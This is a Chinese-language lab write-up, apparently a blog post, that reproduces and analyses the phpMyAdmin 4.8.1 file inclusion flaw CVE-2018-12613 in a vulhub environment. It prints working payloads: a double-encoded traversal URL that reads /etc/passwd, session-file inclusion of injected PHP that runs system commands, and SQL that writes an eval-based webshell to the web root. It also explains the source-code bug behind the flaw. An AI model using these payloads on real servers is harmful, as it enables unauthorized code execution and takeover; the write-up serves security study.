phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现

一、漏洞描述

phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件。该漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

攻击者必须经过身份验证,以下情况除外:
$cfg['AllowArbitraryServer'] = true:攻击者可以指定已经控制的任何主机,并在 phpMyAdmin 上执行任意代码;
$cfg['ServerDefault'] = 0:这绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

二、漏洞影响

4.8.0 <= phpMyAdmin < 4.8.2

三、漏洞复现

1、环境搭建

cd vulhub/phpmyadmin/CVE-2018-12613
docker-compose up -d

2、漏洞复现

访问http://x.x.x.x:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:
在这里插入图片描述

方法一:命令执行

尝试在server_sql.php页面执行select '<?php phpinfo()?>';
在这里插入图片描述
php生成session时,会生成在/tmp目录下,且以sess_开头,例如:/tmp/sess_be9f3bebfb7ab4192fd07c479cf6b171,其中记录着用户的操作:
在这里插入图片描述
session文件的值也就对应了 HTTP 请求 Cookie 中phpMyAdmin的值。
比如刚才的SQL语句被记录下来,在服务器解析该文件时,会被当作php代码执行。
尝试包含session文件:

http://x.x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_be9f3bebfb7ab4192fd07c479cf6b171

在这里插入图片描述
刚执行的SQL查询被当作了PHP代码执行。
在SQL控制台执行:select '<?php eval($_GET["hack"]);?>'
在这里插入图片描述

将session文件包含,并使用system()函数实现命令执行:

http://x.x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_9ff5fabdce48526b442c8e16cdd83bab&hack=system(whoami);

得到结果:
在这里插入图片描述

方法二:phpMyAdmin Getshell

也可以将 WebShell 写入,首先从phpinfo()中查看 web 路径:
搜索CONTEXT_DOCUMENT_ROOT
在这里插入图片描述
构造Payload:

select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>')?>"

在这里插入图片描述
再次包含文件:

http://x.x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_2c3dd215ccd61cdb6066d8cab495bcba

访问http://x.x.x.x/shell.php
在这里插入图片描述
webshell 已经写入,使用蚁剑连接:
在这里插入图片描述
成功获取到目标服务器权限。

方法三:Mysql Getshell

登入phpMyAdmin后,数据库就已经被控制,可以任意写入数据,还可以把 WebShell 写入到数据库中
可以把一句话木马:<?php eval($_GET["hack"]);?>写入到数据表的字段值中:
在这里插入图片描述

查看数据库安装路径:

select @@basedir as basePath from dual ;
show variables like '%basedir%';

在这里插入图片描述
查看数据库data路径:

select @@datadir as dataPath from dual ;
show variables Like '%datadir%';

在这里插入图片描述
查看/var/lib/mysql/test/test_1.frm文件(test数据库,test_1数据表):
在这里插入图片描述
通过frm文件可成功连接蚁剑等。

http://xxx/index.php?hack=phpinfo();&target=db_sql.php%253f/../../../../../../MySQL/data/hack/hack.frm
  • .frm是描抄述了表的结构
  • .MYD保存了表的数据记录
  • .MYI则是表的索引
  • .opt记录数据库的选项,数据库的字符集设置

3、漏洞分析

下载phpMyAdmin 4.8.1源码
漏洞问题出现在index.php页面55~63

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

源码分析:

  • 其中include $_REQUEST['target'];可能存在文件包含漏洞;
  • 其中$target变量中不能以index开头;
  • 且不能是$target_blacklist黑名单中的内容
/*
 * Black list of all scripts to which front-end must submit data.
 * Such scripts must not be loaded on home page.
 *
 */
$target_blacklist = array (
    'import.php', 'export.php'
);

只要不是import.phpexport.php即可

  • 满足Core类的checkPageValidity()方法

phpMyAdmin/libraries/classes/Core.php中:

/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page     page to check
* @param array  $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(         $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
     }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

分析代码:

  • 需要让该函数返回true,也就是变量$page在白名单中,但白名单为空
  • mb_strpos()方法是查找字符串在另一个字符串中首次出现的位置
  • mb_substr()方法返回字符串的一部分
  • 也就是经过两个函数的共同处理,$_page变量去除了后面的传参,只保存了文件名
  • 也就是index.php?id=1经处理变成了index.php
  • 变量$_page在白名单中,但白名单为空
  • 变量$_page经过urldecode()方法,继续做如上操作
  • 若都不满足,则返回false

其中问题出现在$_page = urldecode($page);中,可以利用这个函数绕过$whitelist白名单的检测,构造Pyaload:

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

也就是将在浏览器传入参数时,?进行一次解码,再经过urldecode()的第两次解码后,会导致db_sql.php作为参数而绕过白名单检测,从而实现文件读取。

四、漏洞POC

访问http://x.x.x.x:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:
在这里插入图片描述

五、参考链接

https://nvd.nist.gov/vuln/detail/CVE-2018-12613
https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值